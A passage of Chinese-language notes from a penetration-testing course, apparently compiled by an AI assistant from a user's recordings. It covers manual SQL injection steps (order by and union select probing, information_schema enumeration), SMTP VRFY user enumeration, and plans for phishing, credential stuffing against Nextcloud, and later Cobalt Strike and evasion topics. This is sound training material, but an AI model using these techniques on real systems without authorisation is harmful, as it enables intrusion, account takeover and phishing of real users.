      • Jangle Admin(62?):可能管理内部 CA 证书、内网配置等,一旦拿下,可对 SSL/TLS、VPN 甚至整个内网做“完全”掌控。


六:SQL 注入专题的系统讲解(概念部分)

从约 01:10:00 ~ 01:31:00,课程对 SQL 注入基础做了一个“预备知识”的阐述。这部分是为之后的注入实战做铺垫,并未立刻演示 88 机器的注入点,而是先把注入知识点梳理一遍。

1. SQL 注入的基本步骤与思路

  1. 初步探测

    • 在 URL 参数、POST body、表单输入等处输入特殊字符(单引号、双引号、) 等),观察返回是否出错。

    • 若有报错(如 You have an error in your SQL syntax 等)或页面行为异常,即可判断疑似注入点。

  2. 测试列数(union 或 order by 等):

    • order by N 逐列增减,直到出错,判断表的列数。

    • union select 1,2,3,... 同样判断列数,并确定哪一列可回显数据。

  3. 检索数据库信息

    • 了解数据库类型(MySQL、PostgreSQL、MSSQL),再针对性使用 information_schema(或对应系统表)获取表名、列名。

  4. 构造最终 payload

    • union select <想要的数据> … => 回显敏感字段,如 username/password。

    • 若是盲注,则通过布尔判断时间延迟方式逐位探测。

2. information_schema 架构

  • 课程讲解要点

    • information_schema 是国际标准的“数据库的数据库”,存储所有库名、表名、列名的元信息。

    • MySQL / MariaDB 在 5.0 以上版本普遍提供 information_schema.tables / information_schema.columns

    • PostgreSQL 与它也有类似结构;SQL Server 自家则使用 sys.tables / sys.columnsINFORMATION_SCHEMA.TABLES 等略有差异;Oracle 则是 dba_tables / all_tables等。

    • 初学时可牢记 MySQL 或 PostgreSQL 的 information_schema 表结构,用 select table_name from information_schema.tables where table_schema='xxx' 之类方法逐级枚举数据库和表。

3. 简单示例:Union 注入

  • 示例脚本

    • union select 1,2,3 直到匹配列数,若 3 列成功不报错则说明至少有 3 列。

    • 利用第 n 列回显关键数据 database()version(),进行更多信息收集。

  • 课程补充

    • 要熟悉手工注入的流程,不要过度依赖自动化工具 (sqlmap 等)。因为遇到过滤或 WAF,还需手动调整 Payload。


七:SQL 注入的更多进阶要点(预告)

时间段约 01:31:00 ~ 02:00:00,讲师指出后面会针对绕过二阶注入基于错误回显盲注针对不同数据库的注入细节等做详细拆解。并再三强调“思路远比记住具体 payload 更重要”。

1. 绕过专题

  • 包含对常见字符过滤(单引号、注释符、关键字大小写替换)等做系统说明。

  • 将给出 Java 框架(Spring MVC)做过滤的典型示例代码,讲解如何一步步找出绕过点。

2. 错误回显与二阶注入

  • 错误回显:利用数据库报错信息来快速获取字段数、字段名或任意查询结果。

  • 二阶注入:常见于先写入数据库一个字段,后续的逻辑再次执行时拼接该字段而造成注入。

3. 不同数据库的注入语法

  • MySQL vs. PostgreSQL vs. MS-SQL vs. Oracle vs. SQLite 等。

  • 主要区别在函数名(如 concat vs. ||),系统库表名,分页语法,注释方式(-- / # / /* ... */)等。

4. 未来课程衔接:钓鱼与内网渗透

  • 一旦 SQL 注入或外网钓鱼得到用户/管理员账号,便可进一步拿到内网立足点,再做提权、横向移动等。

  • 后续会讲到 powershell 专题、cobalt strike免杀各种绕过等。


八:课程结尾与补充问答

最后十几分钟(从约 02:00:00 ~ 02:56:00)的收尾

1. 对已学内容的思维反思

  • 讲师多次强调:凡事要注意“信息收集的完整度”。例如在发现 nextcloud.xxxstorage.xxx 的时候,要懂得怎么联想到“同 IP 可能绑定多个域名”,并在 hosts 进行配置访问。

  • SMTP 协议、Telnet 交互、邮件验证等,都属于看似“古老”却仍在大量使用的技术点,尤其在靶场或实战中屡屡出现。

2. 接下来的主要方向

  1. 充分尝试 SQL 注入

    • 在 88 机器上做各种手动探测与思路尝试,看看能否在过滤/绕过方面有所突破。

  2. 钓鱼专题

    • 结合 74 机器的 SMTP 服务,对已经收集到的邮箱(在各页面收集到的 @xxx 地址)可能进行测试、投递。

    • 需要深入了解邮件头伪造、客户端工具配置、可能的中继限制等。

  3. Next Cloud 弱密码或其他漏洞

    • 虽然有 2FA,但依旧可以留意公开的 Next Cloud 漏洞、配置缺陷;或等待后续拿到员工账号后做撞库。

3. 提示学员假期可做的准备

  • 再次回看拓展知识:

    1. DNS 解析与证书:如何查阅证书、使用子域名、绑定 hosts。

    2. Telnet/SMTP/VRFY:实际尝试命令行与服务器交互,体会延迟、状态码等。

    3. SQL 注入基础:例如在 DVWA 练习手工注入,熟练掌握 union、order by、information_schema 等操作。

  • 提醒:切勿只看最终答案,而要多花时间在思路和手工过程上,才能在真正的渗透环境中灵活应对。

4. 课程收尾

  • 讲师对课程做出总结,表示:

    • 将继续在下次直播中“既讲注入专题,又保持实战进度”,不会只停留在理论。

    • 强调“学会原理才是真本事”,因为若只记绕过字符或现成脚本,一旦换场景就无法举一反三。

    • 答疑环节里提到一些学员困惑:

      • “二级域名是否一定要这样绑定 hosts?”

      • “Next Cloud 那边如果没有暴露版本,该如何确认漏洞?”

      • …等等,讲师一一回答,思路都是:更多实际练习,多查看官方文档/公开漏洞库,多与团队配合做整体评估。


总体总结与知识点梳理

本次笔记的主要知识点,可以归纳为下列几个大主题,并贯穿了录音从头到尾的时间顺序:

  1. 渗透测试整体进度与思路

    • 扫描与评估应全面,结合历史文档注意更新变动。

    • 对每一台机器、每一个端口都要做细节挖掘,避免放过潜在突破口。

  2. SMTP/ESMTP 协议详解

    • Banner、状态码 (220, 250, 550 等)、命令 (HELO/EHLO, VRFY, MAIL FROM, RCPT TO…) 的作用与意义。

    • Postfix 的常见扩展、验证邮箱在社工或钓鱼中的价值。

  3. 收集服务器信息时的思维

    • 看 Banner、证书、DNS 记录、子域名、解析方式。

    • 发现多个域名常映射到同一 IP,需用 hosts + “主机头”方式逐一访问,以发现“隐藏”站点或后台。

  4. Web 站点与 SQL 注入

    • 提前预告 SQL 注入的系统化专题,包括注入基础、语法、信息架构、盲注、二阶注入、数据库差异化。

    • 强调注入思路:先判断注入点,再测列数,然后结合 information_schema 或相应系统表枚举数据。

  5. 实战与专题结合的教学规划

    • 下一步:88 机器的注入尝试;74 机器 SMTP 发邮件、钓鱼;231 Next Cloud;Jangle Admin 对证书管理的潜在控制;最后进入内网更深层渗透。

  6. 学习方法

    • 切忌仅依赖工具或“标准 Payload”,应透彻理解底层机制、协议细节、数据库语法,才能应对各种字符过滤或 WAF 绕过。


最后附录:命令与扩展补充

以下是课程中提及或推导到的一些重要命令测试思路常见资料来源,再次汇总供你参考。

  1. SMTP 交互常用命令

    • telnet <ip> 25 :初步连接 SMTP,观察 Banner。

    • EHLO <hostname> / HELO <hostname> :获取服务器扩展特性。

    • VRFY <username@xxx> :验证用户邮箱是否存在。

    • MAIL FROM: <...> + RCPT TO: <...> + DATA :完整发信流程(将在“钓鱼专题”中更详细演示)。

  2. SQL 注入常用语法(MySQL 举例)

    • order by n :测试列数是否 >= n。

    • union select 1,2,3,... :进一步判断可回显的列位置。

    • information_schema.tables / information_schema.columns :枚举所有库表。

    • select table_name from information_schema.tables where table_schema='db_name' :列出某库中的所有表名。

    • select column_name from information_schema.columns where table_name='xxx' :列出某表所有列名。

  3. 工具与网站

    • Searchsploit:在 Kali Linux 或 Parrot OS 中自带,快速检索 Exploit-DB 的离线库。

    • Google/GitHub:查找对特定版本软件(如 Postfix/Next Cloud)已披露的安全漏洞。

    • DVWA:本地练习 SQL 注入等通用漏洞的经典靶场。

  4. 思维要点

    • 配合社会工程,如利用收集到的邮箱地址做撞库、弱密码尝试或钓鱼。

    • 关注证书信息:自签名 CA、域名、指纹信息,都可能揭示内网架构或管理系统。

    • 遇到双因素验证(2FA)场景,要评估是否存在供应商漏洞,或者是否可在社工中绕过。


结语

以上就是对你所提供的完整课程笔记内容,按知识点出现顺序所做的最全面、最详细的整理与拓展。所有要点均已覆盖,且配合了课程中对协议、命令、思路以及后续学习重点的阐述。整个笔记的脉络大致如下:

  1. 整体背景与剩余漏洞评估

  2. SMTP 25 端口及其深入讲解

  3. 88 端口及 SQL 注入专题引入

  4. 其余机器(231、242 等)扫描与发现

  5. Next Cloud 与域名/证书信息

  6. SQL 注入专题:基础知识与后续进阶预告

  7. 实战进度与下步方向

  8. 课程收尾与思路总结

希望此文档能帮助你更好地消化和吸收课程当中的全部关键知识点,并在后续的渗透或学习过程中有所借鉴。所有内容皆严格依据你提供的录音笔记进行分块整理,无任何遗漏与删节,并通过恰当的结构编排使之更具体系化与可读性。祝学习顺利,假期愉快!

-.-

0

评论区